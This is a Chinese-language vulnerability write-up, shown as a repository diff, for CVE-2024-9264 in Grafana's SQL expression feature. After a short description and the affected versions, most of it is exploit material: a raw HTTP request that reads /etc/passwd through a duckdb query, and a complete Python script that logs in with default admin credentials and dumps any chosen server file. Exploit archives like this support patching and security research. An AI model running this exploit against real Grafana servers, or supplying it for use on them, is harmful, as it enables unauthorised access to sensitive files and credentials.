|
| 1 | +# Grafana表达式远程代码执行(CVE-2024-9264) |
| 2 | + |
| 3 | +Grafana 的 SQL 表达式实验功能允许评估包含用户输入的“duckdb”查询。这些查询在传递给“duckdb”之前没有得到充分的净化,从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 “duckdb”二进制文件必须存在于 Grafana 的 $PATH 中才能使此攻击起作用;默认情况下,此二进制文件未安装在 Grafana 发行版中。 |
| 4 | + |
| 5 | +## 影响版本 |
| 6 | + |
| 7 | +Grafana >= v11.0.0 (all v11.x.y are impacted) |
| 8 | + |
| 9 | +## poc |
| 10 | + |
| 11 | +```javascript |
| 12 | +POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1 |
| 13 | +Host: 127.0.0.1:3000 |
| 14 | +Content-Type: application/json |
| 15 | +Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528 |
| 16 | +Content-Length: 368 |
| 17 | + |
| 18 | +{ |
| 19 | + "from": "1696154400000", |
| 20 | + "to": "1696345200000", |
| 21 | + "queries": [ |
| 22 | + { |
| 23 | + "datasource": { |
| 24 | + "name": "Expression", |
| 25 | + "type": "__expr__", |
| 26 | + "uid": "__expr__" |
| 27 | + }, |
| 28 | + "expression": "SELECT * FROM read_csv_auto('/etc/passwd');", |
| 29 | + "hide": false, |
| 30 | + "refId": "B", |
| 31 | + "type": "sql", |
| 32 | + "window": "" |
| 33 | + } |
| 34 | + ] |
| 35 | +} |
| 36 | + |
| 37 | +``` |
| 38 | + |
| 39 | + |
| 40 | + |
| 41 | +## python |
| 42 | + |
| 43 | +```python |
| 44 | +#!/usr/bin/env python3 |
| 45 | + |
| 46 | +""" |
| 47 | +Grafana File Read PoC (CVE-2024-9264) |
| 48 | +Author: z3k0sec // www.zekosec.com |
| 49 | +""" |
| 50 | + |
| 51 | + |
| 52 | +import requests |
| 53 | +import json |
| 54 | +import sys |
| 55 | +import argparse |
| 56 | + |
| 57 | +class Console: |
| 58 | + def log(self, msg): |
| 59 | + print(msg, file=sys.stderr) |
| 60 | + |
| 61 | +console = Console() |
| 62 | + |
| 63 | +def msg_success(msg): |
| 64 | + console.log(f"[SUCCESS] {msg}") |
| 65 | + |
| 66 | +def msg_failure(msg): |
| 67 | + console.log(f"[FAILURE] {msg}") |
| 68 | + |
| 69 | +def failure(msg): |
| 70 | + msg_failure(msg) |
| 71 | + sys.exit(1) |
| 72 | + |
| 73 | +def authenticate(s, url, u, p): |
| 74 | + res = s.post(f"{url}/login", json={"password": p, "user": u}) |
| 75 | + if res.json().get("message") == "Logged in": |
| 76 | + msg_success(f"Logged in as {u}:{p}") |
| 77 | + else: |
| 78 | + failure(f"Failed to log in as {u}:{p}") |
| 79 | + |
| 80 | +def run_query(s, url, query): |
| 81 | + query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1" |
| 82 | + query_payload = { |
| 83 | + "from": "1696154400000", |
| 84 | + "to": "1696345200000", |
| 85 | + "queries": [ |
| 86 | + { |
| 87 | + "datasource": { |
| 88 | + "name": "Expression", |
| 89 | + "type": "__expr__", |
| 90 | + "uid": "__expr__" |
| 91 | + }, |
| 92 | + "expression": query, |
| 93 | + "hide": False, |
| 94 | + "refId": "B", |
| 95 | + "type": "sql", |
| 96 | + "window": "" |
| 97 | + } |
| 98 | + ] |
| 99 | + } |
| 100 | + |
| 101 | + res = s.post(query_url, json=query_payload) |
| 102 | + data = res.json() |
| 103 | + |
| 104 | + # Handle unexpected response |
| 105 | + if "message" in data: |
| 106 | + msg_failure("Unexpected response:") |
| 107 | + msg_failure(json.dumps(data, indent=4)) |
| 108 | + return None |
| 109 | + |
| 110 | + # Extract results |
| 111 | + frames = data.get("results", {}).get("B", {}).get("frames", []) |
| 112 | + |
| 113 | + if frames: |
| 114 | + values = [ |
| 115 | + row |
| 116 | + for frame in frames |
| 117 | + for row in frame["data"]["values"] |
| 118 | + ] |
| 119 | + |
| 120 | + if values: |
| 121 | + msg_success("Successfully ran DuckDB query:") |
| 122 | + return values |
| 123 | + |
| 124 | + failure("No valid results found.") |
| 125 | + |
| 126 | +def decode_output(values): |
| 127 | + return [":".join(str(i) for i in row if i is not None) for row in values] |
| 128 | + |
| 129 | +def main(url, user="admin", password="admin", file=None): |
| 130 | + s = requests.Session() |
| 131 | + authenticate(s, url, user, password) |
| 132 | + file = file or "/etc/passwd" |
| 133 | + escaped_filename = requests.utils.quote(file) |
| 134 | + query = f"SELECT * FROM read_csv_auto('{escaped_filename}');" |
| 135 | + content = run_query(s, url, query) |
| 136 | + if content: |
| 137 | + msg_success(f"Retrieved file {file}:") |
| 138 | + for line in decode_output(content): |
| 139 | + print(line) |
| 140 | + |
| 141 | +if __name__ == "__main__": |
| 142 | + parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).") |
| 143 | + parser.add_argument("--url", help="URL of the Grafana instance to exploit") |
| 144 | + parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'") |
| 145 | + parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'") |
| 146 | + parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'") |
| 147 | + |
| 148 | + |
| 149 | + args = parser.parse_args() |
| 150 | + main(args.url, args.user, args.password, args.file) |
| 151 | + |
| 152 | +``` |
| 153 | + |
| 154 | +## 漏洞来源 |
| 155 | + |
| 156 | +- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/ |
| 157 | +- https://github.com/z3k0sec/File-Read-CVE-2024-9264 |
0 commit comments